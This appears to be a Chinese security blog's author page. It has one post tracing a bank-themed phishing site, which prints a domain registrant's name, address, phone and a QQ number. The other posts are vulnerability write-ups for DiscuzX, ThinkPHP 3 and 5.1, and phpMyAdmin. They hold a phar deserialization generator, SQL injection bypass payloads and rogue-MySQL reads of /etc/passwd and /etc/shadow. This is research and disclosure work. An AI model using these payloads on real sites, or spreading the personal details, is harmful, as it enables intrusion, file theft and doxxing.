Cond0r 发布的文章

办完信用卡竟然被诈骗了数万元?揪出幕后黑手!

起因是笔者的同学打电话给我,告诉我他一个战友被骗了2w了,大概过程是头一天有工商银行的去他们单位组织办信用卡,第二天他战友收到了一条信用卡提额的诈骗短信,钓鱼网站竟然也打着工商银行的旗号,这也太巧了?

打开短链接指向 http://m.lcdbcit.cc
打开一看就是一个钓鱼网站,有俩个入口,一个是申请信用卡,一个是信用卡提额

点击了信用卡提额后,发现需要填写持卡人信息后和信用卡的cvv和有效期,骗子一旦掌握了这些信息后就可以直接去盗刷你的卡了。

先尝试了xss,但是无果,后来分析发现这个域名指向的ip是
154.48.228.254 一台美国的服务器,只开放了web和3389

查询了lcdbcit.cc的whois信息发现是在阿里云注册的,但是开了隐私保护,只得到了注册地是广西,呵 诈骗根据地。

通过分析发现154的ip上还绑定了另外几个域名

c10166.com
c11568.com
c61855.com

查询这个whois有所发现

Registry Registrant ID: Not Available From Registry 
Registrant Name: gueijuan xu 
Registrant Organization: 
Registrant Street: 197hao,kanlecuen,wujianqu 
Registrant City: shaoguanshi 
Registrant State/Province: Guangdong 
Registrant Postal Code: 512026 
Registrant Country: CN 
Registrant Phone: +86.07518700707 
Registrant Phone Ext: 
Registrant Fax: 
Registrant Fax Ext: 
Registrant Email: [email protected] 

通过对这个email进行查询,发现其名下注册的域名有几万个,内容很杂,方向也都不一样,判断可能是一个域名贩子

图为随机扫描了一些他注册的域名,查看域名所绑定的ip和开启的服务

但是仔细一想,如果只是一个域名贩子,那么不可能三个域名都指向诈骗者的服务器,如果诈骗者买域名,也不会碰巧都在同一个人那里买,而且这个邮箱下所注册的域名,不是赌博就是诈骗,抱着这样的疑问笔者猜测,这个邮箱的主人要么就是诈骗团伙的一员,要么就是和诈骗团伙有合作。

通过后续的信息收集发现facebook上有一则文章,大概是说有人在香港的网站上打广告号称有海关滞留的低价劳力士,移动硬盘等信息,然后大量的人中招,看来香港同胞也难逃“小便宜”的诱惑,然后广告所指向的域名刚好也是这个邮箱注册的,只不过hotmail变成了163,注册者的名字也是一样的,到这里笔者越发能确定邮箱的主人绝对不干净。


谷歌也布满了该邮箱所注册的域名架设各种诈骗网站的曝光贴,从理财到手机,手表,u盘,甚至还有cpu,针对各路人群,不怕没人上钩


最后发现是一家代注册godaddy域名的公司

通过他们业务所留的qq,笔者决定试试能不能从他们手里要到域名所有者的信息

等了半个小时后终于给我了另一个qq号,让我明天加他
qq 102930516

结果这个技术态度很屌,表示只愿意和警察联系

本来想吓吓他,看看是不是帮凶,结果油盐不进,估计和骗子还是有所认识的,毕竟便宜在他手里至少买了成百上千个域名了,油盐不进。


君子坦荡荡的都说出来了。。互相试探。

预知后事如何,且听下回分解。

DiscuzX 3.4 Phar反序列化漏洞

0x1 前情提要

DiscuzX的反序列化比较鸡肋,没有任何可利用的点,只能算一个bug。

刚看到一片文章,就是在对phar文件进行操作的时候可以导致反序列化,然后我就对php内置函数进行了测试,发现80%的常用文件操作都能导致触发phar的反序列化,我一共测试了如下函数,都可以触发。


var_dump(file_get_contents('phar://payload.phar'));

var_dump(file_put_contents('phar://payload.phar'));

var_dump(readfile('phar://payload.phar'));

var_dump(is_file('phar://payload.phar'));

var_dump(filesize('phar://payload.phar'));

var_dump(file_exists('phar://payload.phar'));

var_dump(is_readable('phar://payload.phar'));

var_dump(file('phar://payload.phar'));

var_dump(filectime('phar://payload.phar'));

var_dump(filegroup('phar://payload.phar'));

var_dump(fileinode('phar://payload.phar'));

var_dump(filemtime('phar://payload.phar'));

var_dump(fileowner('phar://payload.phar'));

var_dump(fileperms('phar://payload.phar'));

var_dump(filetype('phar://payload.phar'));

var_dump(is_link('phar://payload.phar'));

var_dump(is_writable('phar://payload.phar'));

var_dump(is_writeable('phar://payload.phar'));

var_dump(lstat('phar://payload.phar'));

下面我就下了discuz的代码看看有没有什么能触发反序列化的点,还真给我找到了。

0x2 漏洞分析

/source/module/forum/forum_attachment.php

...
//如果是图片并且是缩略图
if(empty($_GET['nothumb']) && $attach['isimage'] && $attach['thumb']) {
    $db = DB::object();
    $db->close();
    !$_G['config']['output']['gzip'] && ob_end_clean();
    dheader('Content-Disposition: inline; filename='.getimgthumbname($attach['filename']));
    dheader('Content-Type: image/pjpeg');
    //需要是远程附件
    if($attach['remote']) {
        $_G['setting']['ftp']['hideurl'] ? getremotefile(getimgthumbname($attach['attachment'])) : dheader('location:'.$_G['setting']['ftp']['attachurl'].'forum/'.getimgthumbname($attach['attachment']));
    } else {
        getlocalfile($_G['setting']['attachdir'].'/forum/'.getimgthumbname($attach['attachment']));
    }
    exit();
}

...

function getremotefile($file) {
    global $_G;
    @set_time_limit(0);
    //这边的readfile的 attachurl 是通过后台配置的
    if([email protected]($_G['setting']['ftp']['attachurl'].'forum/'.$file)) { 
        $ftp = ftpcmd('object');
        $tmpfile = @tempnam($_G['setting']['attachdir'], '');
        if($ftp->ftp_get($tmpfile, 'forum/'.$file, FTP_BINARY)) {
            @readfile($tmpfile);
            @unlink($tmpfile);
        } else {
            @unlink($tmpfile);
            return FALSE;
        }
    }
    return TRUE;
}
...

0x3 漏洞测试

登陆后台配置远程附件并开启隐藏真实路径


还需要开启附件缩略图功能

满足以上条件即可测试,在前台发帖并上传一个大于400*400的图片附件,注意是附件不是图片。

上传完成之后发帖会得到上图这样的链接

http://192.168.50.154/u/upload/forum.php?mod=attachment&aid=OHw5ZTIwZWUwMXwxNTQ2NjEwMTM1fDF8Mg%3D%3D&nothumb=yes

这个时候需要把nothumb=yes去掉,访问

http://192.168.50.154/u/upload/forum.php?mod=attachment&aid=OHw5ZTIwZWUwMXwxNTQ2NjEwMTM1fDF8Mg%3D%3D

我为了方便测试,输出了url信息

function getremotefile($file) {
    global $_G;
    @set_time_limit(0);
    echo $_G['setting']['ftp']['attachurl'].'forum/'.$file;
    die();

可以看到前面的2222正是我们设置的路径

然后利用以下脚本生成一个phar包,

<?php
ini_set ( 'phar.readonly' , 'Off' );
class payload{
    public $info="pwn";
}
$phar=new Phar("payload.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();");
$pd=new payload();
$phar->setMetadata($pd);
$phar->addFromString("t.txt","");
$phar->stopBuffering();

payload 类是我自己写的为了方便测试
我在/source/module/forum/forum_attachment.php加了一个payload类,测试看看有没有执行成功。

然后通过运营-》站点广告-
添加一个新的广告,把之前生成的phar修改成jpg上传上去,并拿到路径

http://192.168.50.154/u/upload/data/attachment/common/cf/222307y2v4kkqllj2bqv7e.jpg
提取出
data/attachment/common/cf/222307y2v4kkqllj2bqv7e.jpg

然后再打开远程附件,修改远程访问url为

phar://data/attachment/common/cf/222307y2v4kkqllj2bqv7e.jpg/


再访问之前的url

http://192.168.50.154/u/upload/forum.php?mod=attachment&aid=OHw5ZTIwZWUwMXwxNTQ2NjEwMTM1fDF8Mg%3D%3D


你会发现反序列化已经触发了,下面离getshell只差一个好利用的点了。

参考
从php反序列化到phar文件
HITCON 2017 Babyh-master-php-2017 分析及复现

ThinkPHP 3.x 表达式注入绕过强制大写

最近遇到一个thinkphp3的站,他用的tp版本比较低,正好存在很久以前的表达式注入
https://wystatic.tuisec.win/static/bugs/wooyun-2014-087731.html
但是通过分析注入发现,他会把表达式的内容进行了大写,所以导致linux的mysql因为某些情况下表名会敏感大小写,所以导致不能读取表的内容,
这是一个支持联合查询的注入点,通过注入发现,他会把输入的内容全部转换成大写
-w1062
下面看一下老版本的代码

 protected function parseWhereItem($key,$val) {
        $whereStr = '';
        if(is_array($val)) {
            if(is_string($val[0])) {
                ...
                }elseif('bind'==strtolower($val[0])){ // 使用表达式
                    $whereStr .= $key.' = :'.$val[1];
                }elseif('exp'==strtolower($val[0])){ // 使用表达式
                    $whereStr .= $key.' '.$val[1];
                }elseif(preg_match('/IN/i',$val[0])){ // IN 运算
                    if(isset($val[2]) && 'exp'==$val[2]) {
                        $whereStr .= $key.' '.strtoupper($val[0]).' '.$val[1];//strtoupper转换成大写了

                    }else{
                        if(is_string($val[1])) {
                             $val[1] =  explode(',',$val[1]);
                        }
$zone      =   implode(',',$this->parseValue($val[1]));
$whereStr .= $key.' '.strtoupper($val[0]).' ('.$zone.')'; //strtoupper转换成大写了
                    }
             ...
        return $whereStr;
    }

通过上面的代码发现,正常的payload是这样的

order_no[]=in ('1')  and 1=2 union select 1 from admin#&order_no[]=2  

假设查询语句如下

select 1 from user where order_no=1

通过正常的payload去注入会变成如下内容

select 1 from user where table in (1) AND 1=2 UNION SELECT 1 FROM ADMIN#'2' 

如果我们去查询一个正常的表名admin,会被强制转换成大写,这样如果是配置了大小写敏感或默认linux下mysql的配置就会出现表名不存在的错误
-w438

通过分析代码发现
然后通过这样的payload即可成功注入并绕过强制大写

order_no[0]=in (1)/*&order_no[1]=*/and 1=1 and (select 1 from admin limit 1)#

这样执行的sql语句就会变成

select 1 from user where table in (1)/* '*/and 1=1 and (select 1 from admin limit 1)#'

这样就不在表达式的参数里面去执行sql,绕过了强制大写。

其实理论上来说

elseif(preg_match('/IN/i',$val[0])){ // IN 运算
                    if(isset($val[2]) && 'exp'==$val[2]) {
                        $whereStr .= $key.' '.strtoupper($val[0]).' '.$val[1];//strtoupper转换成大写了

                    }else{
                        if(is_string($val[1])) {
                             $val[1] =  explode(',',$val[1]);
                        }
$zone      =   implode(',',$this->parseValue($val[1]));
$whereStr .= $key.' '.strtoupper($val[0]).' ('.$zone.')'; //strtoupper转换成大写了
                    }

如果val[2]=='exp'就直接吧val[1]传递到sql语句中了,并没有经过parseValue的转义.

order_no[0]=in&order_no[1]=sqli&order_no[2]=exp

但是我遇到的环境测试不通过,可能是版本问题。

然后因为存在[,] 会因为是in所以会被implode,所以需要绕过逗号进行联合查询

union select * from ((select 1)A join (select 2)B join (select 3)C);

600px-PhpMyAdmin_logo.svg.png

0x1 漏洞分析

在最新的phpMyAdmin上修复了几个漏洞,其中一个是:

本地文件包含(CVE-2018-19968) -至少从4.0到4.8.3的phpMyAdmin版本就有一个本地文件包含漏洞,可允许远程攻击者通>过转换功能从服务器上的本地文件中获取敏感内容。
“攻击者必须能够访问phpMyAdmin配置存储表,尽管可以在攻击者访问的任何数据库中轻松创建这些表。攻击者必须拥有有效的凭>据才能登录phpMyAdmin; 此漏洞不允许攻击者绕过登录系统。“

这个漏洞如果我本以为是话是之前mysql的 LOAD DATA INFILE 的问题,导致如果phpMyAdmin开启任意主机链接的话,可以导致读取本地文件,关于LOAD DATA INFILE本地文件读取可以参考下这篇文章,写的很完整。

结果发现在最新版的phpMyAdmin上进行测试,依然可以读文件,想了一下,这个根本的修复方式还是需要在php的myqsl扩展中进行修复。
所以不单单是pma的问题,如果有的shell的情况下可以通过自写数据库链接脚本来达到读文件的效果,理论上来说也可以用该方法绕过php的open_basedir。

关于LOAD DATA INFILE的大概解释:

LOAD DATA INFILE其实是一个mysql客户端的动作,不受mysql server的文件安全模式和文件权限的影响,是服务端向客户端发送一个读文件的请求,然后客户端再将文件发送过去。

0x2 漏洞利用

先配置一下环境,先下载最新版的phpmyadmin
然后修改/phpMyAdmin-4.8.4-all-languages/libraries/config.default.php

$cfg['AllowArbitraryServer'] = true; //false改为true

配置完成可即可发现,服务器的内容可以自己进行填写,

然后利用rogue_mysql_server.py进行文件的读取。
修改脚本中的

filelist = (
#    r'c:\boot.ini',
    r'/etc/passwd', #此处改为需要读取的文件
#    r'c:\windows\system32\drivers\etc\hosts',
#    '/etc/passwd',
#    '/etc/shadow',
)

脚本跑起来之后进行连接,账号密码随便填写即可

结果会保存在mysql.log中

drwxr-xr-x.   2 root root 4.0K 11月 28 10:01 xx
dr-xr-x---.  35 root root 4.0K 11月 28 10:01 .
dr-xr-xr-x.  18 root root 4.0K 11月 29 03:16 ..
drwxr-xr-x.  27 root root 4.0K 11月 29 07:50 tools
-rw-------.   1 root root  21K 12月 12 16:50 .bash_history
-rw-r--r--.   1 root root 327K 12月 12 16:57 mysql.log
[[email protected] ~]#

Xnip2018-12-13_01-11-49.jpg

ThinPHP5.1 代码执行漏洞

0x1 漏洞分析

补丁文件所在位置:/thinkphp/library/think/route/dispatch/Url.php
56-66行



        if ($this->param['auto_search']) {
            $controller = $this->autoFindController($module, $path);
        } else {
            // 解析控制器
            $controller = !empty($path) ? array_shift($path) : null;
        }

        if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) { patch fix vuls
            throw new HttpException(404, 'controller not exists:' . $controller);
        }

        // 解析操作

具体操作文件:/thinkphp/library/think/route/dispatch/Module.php

<?php
 
        parent::init();
        
        $result = $this->dispatch;
        /*
        $result完整被请求的url
        thinkphp正常支持 
        index.php/index/index/index
        index.php?s=index/index/index
        俩种模式的路由
        $result="index/index/index"
        */
        if (is_string($result)) {
            $result = explode('/', $result);
        }

        if ($this->rule->getConfig('app_multi_module')) {
            // 多模块部署
            $module    = strip_tags(strtolower($result[0] ?: $this->rule->getConfig('default_module')));
            $bind      = $this->rule->getRouter()->getBind();
            $available = false;

            if ($bind && preg_match('/^[a-z]/is', $bind)) {
                // 绑定模块
                list($bindModule) = explode('/', $bind);
                if (empty($result[0])) {
                    $module = $bindModule;
                }
                $available = true;
            } elseif (!in_array($module, $this->rule->getConfig('deny_module_list')) && is_dir($this->app->getAppPath() . $module)) {
                $available = true;
            } elseif ($this->rule->getConfig('empty_module')) {
                $module    = $this->rule->getConfig('empty_module');
                $available = true;
            }

            // 模块初始化
            // echo $this->app->getAppPath() . $module."<br>";
            // var_dump(is_dir($this->app->getAppPath() . $module));
            
            //echo $module,$available;die();
            if ($module && $available) {
                // 初始化模块
                //echo 123123;
                $this->request->setModule($module);
                $this->app->init($module);
            } else {
                throw new HttpException(404, 'module not exists:' . $module);
            }
        }

        // 是否自动转换控制器和操作名
        var_dump($result);
        $convert = is_bool($this->convert) ? $this->convert : $this->rule->getConfig('url_convert');
        // 获取控制器名
        $controller = strip_tags($result[1] ?: $this->rule->getConfig('default_controller')); //分割了/之后取第二个参数

        $this->controller = $convert ? strtolower($controller) : $controller;

        // 获取操作名
        $this->actionName = strip_tags($result[2] ?: $this->rule->getConfig('default_action')); //分割了/之后取第三个参数
        echo 'init:'.$this->controller."<br>";
        // 设置当前请求的控制器、操作
        $this->request
            ->setController(Loader::parseName($this->controller, 1))
            ->setAction($this->actionName);

        return $this;
    }

    public function exec()
    {
        // 监听module_init
        $this->app['hook']->listen('module_init');

        try {
            // 实例化控制器
            echo 'exec:'.$this->controller."<br>";
            $instance = $this->app->controller($this->controller,
                $this->rule->getConfig('url_controller_layer'),
                $this->rule->getConfig('controller_suffix'),
                $this->rule->getConfig('empty_controller'));

         ...
            //echo 123;die();
            $data = $this->app->invokeReflectMethod($instance, $reflect, $vars);

...

在看 $this->app->controller函数原型
/thinkphp/library/think/App.php

  public function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '')
    {   
        echo $name, $layer, $appendSuffix."<br>";
        list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix); //重点调用了parseModuleAndClass
        var_dump(class_exists($class));
        echo 'class:'.$class."<br>";
        if (class_exists($class)) {
            echo 'class_exists<br>';
            return $this->__get($class);
        } elseif ($empty && class_exists($emptyClass = $this->parseClass($module, $layer, $empty, $appendSuffix))) {
            return $this->__get($emptyClass);
        }

        throw new ClassNotFoundException('class not exists:' . $class, $class);
    }
    
    protected function parseModuleAndClass($name, $layer, $appendSuffix)
    {   echo 'parseModuleAndClass:'.$name."<br>";
        if (false !== strpos($name, '\\')) { //如果name种包含\则赋值给class
            $class  = $name;
            
            $module = $this->request->module();
            
        } else {
            if (strpos($name, '/')) {
                list($module, $name) = explode('/', $name, 2);
            } else {
                $module = $this->request->module();
            }

            $class = $this->parseClass($module, $layer, $name, $appendSuffix);
        }

        return [$module, $class];
    }

0x2 漏洞利用

看到这里基本就能理解了
如果我访问

http://127.0.0.1:8023/index.php?s=index/think\Loader/esss&a=1asdasd

就可以调用thinkLoader 这个namespace下面的esss函数,为了方便测试,我在loader中加了一个esss函数,截图如下

下面只要找到一个点能代码执行即可
刚准备找点exploit就出来了?你们是魔鬼吗?
WX20181210-232257.png

0x3 找到利用点

文件:library/think/view/driver/Php.php

namespace think\view\driver;
...
    public function display($content, $data = [])
    {
        $this->content = $content;

        extract($data, EXTR_OVERWRITE);
        eval('?>' . $this->content);
    }
...

构造一下直接exploit
WX20181211-011440.png